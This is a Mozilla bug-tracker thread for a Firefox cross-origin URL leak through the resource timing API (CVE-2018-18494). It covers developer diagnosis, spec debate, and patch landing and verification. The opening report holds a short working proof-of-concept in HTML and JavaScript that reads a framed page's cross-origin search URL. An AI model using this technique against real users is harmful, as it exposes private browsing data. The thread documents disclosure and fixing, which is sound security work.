1487964 - (CVE-2018-18494) Cross-Origin URL Steal is possible using performance.getEntries()

Status: VERIFIED FIXED

(Core :: DOM: Navigation, defect, P1)

Description

[James Lee]

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36

Steps to reproduce:

The fix for this issue https://bugzilla.mozilla.org/show_bug.cgi?id=1468523 has correctly addressed, we can not reproduce by changing the location using a meta-refresh.

It alerts "http://pwning.click/con.html" when we run this inside a frame, which is expected result.

Test live on: http://pwning.click/redirffeg.html

However, we can reproduce this issue by changing its location using JavaScript location property. Note that the page need to run inside a frame.

Test live on: http://pwning.click/redirffeg2.html

Proof Of Concept:

redirffeg2.html:

<iframe src="http://pwning.click/ffredirtest.html"/></iframe>

ffredirtest.html:

<embed src="/ffloctest.html">
<script>
setTimeout(function(){alert(performance.getEntriesByType("resource")[1].name)},5000);
</script>
<b>
<br>
<br>
<br>
Type anything into the search bar and press ENTER! 
<br>
<br>
<br>
Then I'll figure out your secret search!
</b>

ffloctest.html:

<script>location="https://www.bing.com/search?q=test"</script>


Tested on Firefox Nightly 63.0a1 (2018-08-31) (64-bit)


Actual results:

Mozilla Firefox allows us to access Cross-Origin URL.


Expected results:

Accessing to Cross-Origin URL should be not possible.

Comment 1

[James Lee]

Note that this only works on Firefox browser (All versions).

Comment 2

[:Gijs (he/him)]

Dragana, given you fixed the other bug, is this something you can take a look at?

Comment 3

[Jason Duell]

Dragana tells me she should get to this in a day or two

Comment 4

[Andrew Overholt [:overholt]]

Thanks, Dragana!

Comment 5

[Honza Bambas (:mayhemer)]

Taking the bug from Dragana after a F2F discussion.

The check whether to add an entry (a channel) to a perf storage is made at [1].  I would expect we get blocked there, but we don't.  The story is way different.

Taking the redirffeg2.html PoC and serving it locally to have a control over it, I ran the following tests and monitored load info and loading doc of each channel that tried to add itself at [1].


Test #1, the PoC for this bug, location="":

"http://test.local/bugs/1487964/ffredirtest.html" 
 - innerWindow=0x00000228c56be820, 
 - perf=0x00000228c62a6000, 
 - mLoadInfo->TP=0x00000228bab6138c "http://test.local/bugs/1487964/redirffeg2.html"
 - loadingDoc->NP=0x00000228bab6138c "http://test.local/bugs/1487964/redirffeg2.html"

"http://test.local/bugs/1487964/ffloctest.html" 
 - innerWindow=0x00000228bd173020, 
 - perf=0x00000228c6281000, 
 - mLoadInfo->TP=0x00000228c62e260c "http://test.local/bugs/1487964/ffredirtest.html", 
 - loadingDoc->NP=0x00000228c62e260c "http://test.local/bugs/1487964/ffredirtest.html"

"https://www.bing.com/search?q=test" 
 - innerWindow=0x00000228bd173020, 
 - perf=0x00000228c6281000, 
 - mLoadInfo->TP=0x00000228c62e808c "http://test.local/bugs/1487964/ffloctest.html",  
 - loadingDoc->NP=0x00000228c62e260c "http://test.local/bugs/1487964/ffredirtest.html"

Note that the last entry's innerWindow and perf (=mozilla::dom::Performance) are the same object as for the ffloctest.html load (the one with <script>location="...").  

Hence according the (for me kinda disputable) check at [1] this is not cross origin at all.


Test #2, meta refresh: 
just a single entry in the list, but 3 are trying (and passing the check at [1]!) to be added.  The listing looks exactly the same as for the above test.  But the difference in the result (=no-leak) is that we are adding the entries using the originalURI of the channel - which in the case of a meta refresh is "http://test.local/bugs/1487964/ffloctest.html" for ffloctest.html and also for www.bing.com.



Test #3, 302 redirect:
"http://test.local/bugs/1487964/ffredirtest.html" 
 - innerWindow=0x00000228c56bb820, 
 - perf=0x00000228c624a000, 
 - mLoadInfo->TP=0x00000228bab6138c "http://test.local/bugs/1487964/redirffeg2.html",  
 - loadingDoc->NP=0x00000228bab6138c "http://test.local/bugs/1487964/redirffeg2.html"


"https://www.bing.com/search?q=test" 
 - innerWindow=0x00000228c39ca820, 
 - perf=0x00000228c5660000, 
 - mLoadInfo->TP=0x00000228c633e10c "http://test.local/bugs/1487964/ffredirtest.html", 
 - loadingDoc->NP=0x00000228c633e10c "http://test.local/bugs/1487964/ffredirtest.html"

Only two entries are trying to add themselves, because the ffloctest.html channel doesn't get a chance to be added (OnStopRequest is never called for a redirected HttpChannelChild, this may be different with e10s off!)  And, as we are adding using the originalURL, it will show up as "http://test.local/bugs/1487964/ffloctest.html" in the performance entries listing, but is actually for the "bing.com" load.

Bug 1185256 fixed redirects for back/forward nav and session restore by correct propagation of the originalURL between the channels through docshell.

Bug 1468523 fixed regression from combination of that bug and bug 1319111 by correctly setting the result principal URI on the meta refresh target channel.

I don't think we want to treat location=".." assignment as a redirect.  We want to treat it as a navigation - right?  We do treat meta refresh as a redirect, though.


To sum - I'm not sure what exactly to do here.  I am also not sure what resources should be visible in the entries list and which not.  If a page loads a cross-origin script, should it be visible to the page? (assuming yes)  If that page is iframe-ed, should parent see its cross origin resources?  Should parent see any resource of the iframe-ed page? (no idea)

Based on answers, I think the check at [1] should be changed or enhanced.


[1] https://searchfox.org/mozilla-central/rev/881a3c5664ede5e08ee986d76433bc5c4b5680e6/netwerk/protocol/http/HttpBaseChannel.cpp#4381
[2] https://searchfox.org/mozilla-central/rev/881a3c5664ede5e08ee986d76433bc5c4b5680e6/dom/performance/PerformanceTiming.cpp#56-60

Comment 7

[Honza Bambas (:mayhemer)]

Note that the check at [1] from comment 5 comes from bug 1408990.

Comment 8

[Anne (:annevk)]

I hope I got the Gecko terminology correct here: inner windows (WindowProxy in the HTML Standard) are best not compared as they're shared across multiple outer windows (the Window object; where you want to make security checks on or on its associated document).

However, from https://w3c.github.io/performance-timeline/#getentries-method-0 and also https://w3c.github.io/navigation-timing/ it's not clear to me why these PerformanceEntry objects would ever be created for a different global. I'm guessing that's happening here because the <embed> initial load is done in the load group (fetch group in the standard, but basically not defined) of the parent and only once a docshell (browsing context) is created, does it get moved. So presumably something is messed up there, coupled with the fact that none of this is defined properly and performance timing isn't even grounded in terms of Fetch, despite us complaining about that for years...

Comment 9

[Boris Zbarsky [:bzbarsky]]

> I hope I got the Gecko terminology correct here

You have it backwards.  Inner windows are Window; outer windows are WindowProxy.

Past that, my take is that in fact figuring out what should be happening with resource timing is more or less impossible and we should disable the API altogether until the working group addresses that.  In particular, the lack of a processing model makes it hard to answer basic questions like "when a load is being done in an <embed>, what global's resource timing list should be used in which cases and why"?

To answer the specific questions from comment 5:

> I don't think we want to treat location=".." assignment as a redirect.

Correct.  When the location="..." set happens in the <embed>, the triggering principal should be whatever started the load.  That part is correct in the information in comment 5.  A location set is _not_ a redirect, so the originalURI should not stay the same across it.  In any case, I suspect that replacing that location set by <a href> probably has the same behavior.

> To sum - I'm not sure what exactly to do here.  I am also not sure what resources 
> should be visible in the entries list and which not. 

Yep.  Neither is anyone else, which is why i think we should disable the API.

What happens if the <embed> is replaced by <iframe>?  Does the behavior stay the same?  That is, is this a general "loads of a new document in a child browsing context are treated as subresources of the parent page" issue, or is there something <embed>-specific there?  I'm pretty sure this came up before, but I don't recall what the decision was about what the right behavior here is (again, the spec doesn't really say) or whether that decision got implemented.

> If a page loads a cross-origin script, should it be visible to the page?

The URL the page started loading should be.  If there are redirects they should not show up.

> Should parent see any resource of the iframe-ed page?

For subresources, no.  For navigations in the iframe, unclear.

Comment 10

[Panos Astithas (he/him) [:past] (please ni?)]

My understanding, and please correct me if I'm wrong, is that we don't know how to fix this bug because we don't know how to do so while remaining spec-compliant. I can drive this discussion in the working group, but can someone more familiar with these details than me file a spec issue?

https://github.com/w3c/navigation-timing/issues/new

Ideally we wouldn't provide any unnecessary details that could lead to an exploit before we get a chance to fix this.

Which part of navigation-timing are we considering disabling?

Comment 11

[Boris Zbarsky [:bzbarsky]]

The summary of the situation as I see it is:

1)  We can't tell whether we're spec-compliant now or not, nor whether we would be after various fixes to this bug.  This is due to the spec not having a well-defined processing model, and not having useful tests, as far as I can see.

2)  We have had a significant number of security bugs in our implementation of this spec, due to the lack of clear definition of the processing model.  As a result, instead of a single security analysis being done once, in the spec, every implementation has to do their own, and we haven't been able to devote sufficient resources to that.

3)  The spec has informative text that is presumably intended to clarify things but seems to directly contradict  the normative spec text.

The relevant spec here is resource-timing.  I think we should disable all of it.

I filed https://github.com/w3c/resource-timing/issues/166

Comment 12

[James Lee]

Just for the note, None of other browsers are going to disable resource timing API all together at the time.

Comment 13

[Boris Zbarsky [:bzbarsky]]

I'm aware of that.  I just don't think we should keep shipping this given the longstanding lack of a spec and unwillingness on the part of the working group to fix that.  If this API were coming up with an intent to ship right now, I would object to shipping it.

Comment 14

[James Lee]

I see. Also, worth to note that Google and Apple fixed this issue by disabling performance.getEntriesByType("resource")[1], so it's always undefined when we use performance.getEntriesByType("resource")[1] on Google Chrome and Apple Safari. So this should be a correct fix for this issue as we can not trigger redirection / navigation tricks using getEntriesByType("resource")[1] anymore. It appears that Mozilla Firefox for Windows and Android doesn't have history back-forward navigation reveal problem too so this should resolve this problem.

Comment 15

[James Lee]

Btw, from the comment 9 - "or is there something <embed>-specific there?", this is not embed specific, it's same behavior on Iframe and Object on Mozilla Firefox. In certain browsers yes, there is something embed specific. For example, we can reveal latest Cross-Origin URL continuously using history.back(); on Internet Explorer with embed because after back-forward navigation embed tag on Internet Explorer will save the latest updated page inside embed tag even after back-forward navigation. This doesn't happen when you use Iframe and Object, page inside a frame is resetted to Original URL. So that's browser specific behavior, but this does not include Mozilla Firefox, in fact it doesn't even allow to use back-forward navigation on Mozilla Firefox for Windows and Android.

Comment 16

[James Lee]

Anyways, this only affects Mozilla Firefox. Disabling performance.getEntriesByType("resource")[1] like what Google and Apple did will resolve this problem.

Comment 17

[James Lee]

It appears that I can not attach screenshot on this comment, but I believe it's unnecessary as anyone can test this immediately on Google Chrome or Apple Safari.

Comment 18

[James Lee]

Ah, I meant Google and Apple blocked from reading .name of the resource[1] so it always return undefined when we use .name after resource[1].

Comment 19

[James Lee]

Which allows us to use performance.getEntriesByType("resource")[1] but being not able to read url anymore. Thus, redirection / navigation tricks can't be triggered anymore.

Comment 20

[Honza Bambas (:mayhemer)]

I'm not sure what info you need from me.  I was just diagnosing one of the bugs of this type, nothing more.

Comment 21

[Boris Zbarsky [:bzbarsky]]

The screenshot I was sent just shows that performance.getEntriesByType("resource")[1] doesn't exist in Chrome.  The question is whether performance.getEntriesByType("resource")[0] exists and if so what its .name is.

In general, the really interesting thing is to stop poking at specific indices or types and just look at 

  Array.prototype.slice.call(performance.getEntries()).map((e) => e.name)

which will give you all the URLs you can get out via the performance timing APIs.  In this case, at least in Chrome, you can see that the history navigation is not showing up in the list at all.

Comment 22

[Boris Zbarsky [:bzbarsky]]

I guess you could do it even more simply in browsers that support webidl iterator bits (which might be  all of them now):

   performance.getEntries().map(e => e.name)

Comment 23

[James Lee]

yes, performance.getEntriesByType("resource")[0] exists in Chrome (and all other browsers that supports resource timing API) and its name returns the URL before the redirection, so Cross-Origin URL reveal issue not possible at least with these tricks. Although, Chrome allowed history navigation as I mentioned before, so one could continuously reveal the Cross-Origin URL. This was fixed on Chrome 70 update yesterday.

Comment 24

[James Lee]

Following is the advisory link: https://chromereleases.googleblog.com/2018/10/stable-channel-update-for-desktop.html

Comment 25

[James Lee]

Btw, revealing Cross-Origin history navigation also works on Firefox but only on Firefox for iOS.

Comment 26

[Boris Zbarsky [:bzbarsky]]

Firefox for iOS would have the same behavior as Safari here.

Comment 27

[James Lee]

It appears that their behaviors are not same for some test cases.

Anyways, that would be the correct fix for this issue.

Comment 28

[Valentin Gosu [:valentin] (he/him)]

Attachment: Bug 1487964 - Do not report resource-timing subdocument loads triggered by that subdocument r?bzbarsky!

Comment 29

[Christoph Kerschbaumer [:ckerschb]]

Hey Valentin, I think there is a semantic bug in the current implementation, in particular here [1]:
> if (!mLoadInfo->TriggeringPrincipal()->Equals(loadingDocument->NodePrincipal())) {
>  return nullptr;
> } 

That will only add same-origin loads to the docoument's performance entries, but for iframe loads you are comparing the triggeringPrincipal with the NodePrincipal of the iframe document not the parent document.

I guess in the iframe case we want to compare the triggeringPrincipal with the loadingDocument->GetParentDocument()->NodePrincipal.

What do you think?

[1] https://searchfox.org/mozilla-central/source/netwerk/protocol/http/HttpBaseChannel.cpp#4392

Comment 30

[Boris Zbarsky [:bzbarsky]]

Valentin, please see my questions in the phabricator review.

Comment 31

[Valentin Gosu [:valentin] (he/him)]

Comment on attachment 9019327 [details]
Bug 1487964 - Do not report resource-timing subdocument loads triggered by that subdocument r?bzbarsky!

[Security Approval Request]

How easily could an exploit be constructed based on the patch?: Fairly easily

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Yes

Which older supported branches are affected by this flaw?: all

If not all supported branches, which bug introduced the flaw?: None

Do you have backports for the affected branches?: Yes

If not, how different, hard to create, and risky will they be?: 

How likely is this patch to cause regressions; how much testing does it need?: The risk of regressions is small.
The code is covered by unit tests so I requires a minimal amount of testing.

Comment 32

[Christoph Kerschbaumer [:ckerschb]]

Valentin, I see you are setting a bit in the loadinfo, but you don't serialize that bit in BackgroundUtils (somewhere around here [1]). To avoid additional problems, that's probably worth doing - thanks!

[1] https://searchfox.org/mozilla-central/source/ipc/glue/BackgroundUtils.cpp#296

Comment 33

[Valentin Gosu [:valentin] (he/him)]

(In reply to Christoph Kerschbaumer [:ckerschb] from comment #32)
> Valentin, I see you are setting a bit in the loadinfo, but you don't
> serialize that bit in BackgroundUtils (somewhere around here [1]). To avoid
> additional problems, that's probably worth doing - thanks!

Thanks for pointing that out. I fixed it in the latest revision, if you care to take a look.
Is there a way of making the serialization future-proof? Maybe a static_assert regarding the size of LoadInfo, so that it fails if any new members are added?

Comment 34

[Christoph Kerschbaumer [:ckerschb]]

(In reply to Valentin Gosu [:valentin] from comment #33)
> (In reply to Christoph Kerschbaumer [:ckerschb] from comment #32)
> > Valentin, I see you are setting a bit in the loadinfo, but you don't
> > serialize that bit in BackgroundUtils (somewhere around here [1]). To avoid
> > additional problems, that's probably worth doing - thanks!
> 
> Thanks for pointing that out. I fixed it in the latest revision, if you care
> to take a look.
> Is there a way of making the serialization future-proof? Maybe a
> static_assert regarding the size of LoadInfo, so that it fails if any new
> members are added?

Thanks for incorporating that change. I agree, current practice of manually adding serialization code to BackgroundUtils.cpp and hoping that people don't forget to do that is not very bullet proof. FWIW, I filed Bug 1506108 to investigate if we can add some guards to make it harder to shoot ourselves in the foot.

Comment 35

[Al Billings [:abillings - ex-MoCo]]

Is the patch with sec-approval? the final patch?

Comment 36

[Valentin Gosu [:valentin] (he/him)]

(In reply to Al Billings [:abillings] from comment #35)
> Is the patch with sec-approval? the final patch?

Yes.

Comment 37

[Al Billings [:abillings - ex-MoCo]]

Ryan, I'd like to give sec-approval+ now and take this on beta and ESR60. Can I get a nod from you?

Comment 38

[Ryan VanderMeulen [:RyanVM]]

Sounds fine to me.

Comment 39

[Valentin Gosu [:valentin] (he/him)]

Attachment: [esr60] Do not report resource-timing subdocument loads triggered by that subdocument

Comment 40

[Valentin Gosu [:valentin] (he/him)]

Attachment: [beta] Do not report resource-timing subdocument loads triggered by that subdocument

Comment 41

[Al Billings [:abillings - ex-MoCo]]

Comment on attachment 9019327 [details]
Bug 1487964 - Do not report resource-timing subdocument loads triggered by that subdocument r?bzbarsky!

sec-approval+ for trunk.

If the other patches are for beta and ESR60, please nominate them.

Comment 42

[Valentin Gosu [:valentin] (he/him)]

Comment on attachment 9026117 [details] [diff] [review]
[beta] Do not report resource-timing subdocument loads triggered by that subdocument

[Beta/Release Uplift Approval Request]

Feature/Bug causing the regression: unknown/always existed

User impact if declined: Potential leak of URL inside iframe/frame/embed/object

Is this code covered by automated tests?: Yes

Has the fix been verified in Nightly?: No

Needs manual test from QE?: Yes

If yes, steps to reproduce: It would be good to attempt to reproduce previous resource-timing bugs, and make sure none of them still happens. Ping me for the list of bugs.

List of other uplifts needed: None

Risk to taking this patch: Low

Why is the change risky/not risky? (and alternatives if risky): The code just introduces an additional security check for frames.

String changes made/needed:

Comment 43

[Valentin Gosu [:valentin] (he/him)]

Comment on attachment 9026116 [details] [diff] [review]
[esr60] Do not report resource-timing subdocument loads triggered by that subdocument

[ESR Uplift Approval Request]

If this is not a sec:{high,crit} bug, please state case for ESR consideration: sec:high

User impact if declined: Potential leak of URL inside iframe/frame/embed/object

Fix Landed on Version: 65

Risk to taking this patch: Low

Why is the change risky/not risky? (and alternatives if risky): The code just introduces an additional security check for frames.

String or UUID changes made by this patch:

Comment 44

[Julien Cristau [:jcristau]]

https://hg.mozilla.org/integration/autoland/rev/395b95afd795

Comment 45

[Valentin Gosu [:valentin] (he/him)]

Attachment: [beta] Do not report resource-timing subdocument loads triggered by that subdocument

Comment 46

[Valentin Gosu [:valentin] (he/him)]

https://hg.mozilla.org/integration/autoland/rev/78665669badebd0088569691b6c7df09e2286d84

Comment 47

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

First landing: https://hg.mozilla.org/mozilla-central/rev/395b95afd795
Backout: https://hg.mozilla.org/mozilla-central/rev/08c81bf21758

Reland from comment 46 merged to central: https://hg.mozilla.org/mozilla-central/rev/78665669bade

Comment 48

[Valentin Gosu [:valentin] (he/him)]

Attachment: [esr60] Do not report resource-timing subdocument loads triggered by that subdocument

Comment 49

[Valentin Gosu [:valentin] (he/him)]

Comment on attachment 9026922 [details] [diff] [review]
[esr60] Do not report resource-timing subdocument loads triggered by that subdocument

see comment 43

Comment 50

[Valentin Gosu [:valentin] (he/him)]

Comment on attachment 9026728 [details] [diff] [review]
[beta] Do not report resource-timing subdocument loads triggered by that subdocument

see comment 42

Comment 51

[Julien Cristau [:jcristau]]

Comment on attachment 9026728 [details] [diff] [review]
[beta] Do not report resource-timing subdocument loads triggered by that subdocument

sec-high fix, approved for 64.0b12

Comment 52

[Julien Cristau [:jcristau]]

https://hg.mozilla.org/releases/mozilla-beta/rev/4fcfd15911a112ef9444082b78bfcc41ec974216

Comment 53

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9026922 [details] [diff] [review]
[esr60] Do not report resource-timing subdocument loads triggered by that subdocument

Fixes a sec-high. Approved for 60.4.0esr also.

Comment 54

[Alexandru Simonca [:asimonca], Release Desktop QA]

> Needs manual test from QE?: Yes
> 
> If yes, steps to reproduce: It would be good to attempt to reproduce
> previous resource-timing bugs, and make sure none of them still happens.
> Ping me for the list of bugs.

Taking Comment #42 into consideration I have talked to Valentin Gosu and got the list of bugs that need verifying in order for this bug to be considered verified fixed. The list is:

- https://bugzilla.mozilla.org/show_bug.cgi?id=1468523
- https://bugzilla.mozilla.org/show_bug.cgi?id=1254688
- https://bugzilla.mozilla.org/show_bug.cgi?id=1408990

None of these were affected by the fix to this bug, so I consider this issue to be VERIFIED FIXED for firefox 64 and 65.

Comment 55

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-esr60/rev/a72ec8e21577

Comment 56

[Alexandru Simonca [:asimonca], Release Desktop QA]

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0

Also verified on yesterday's ESR 60 build from taskcluster, build id: 20181126170438 on Windows 10 x64.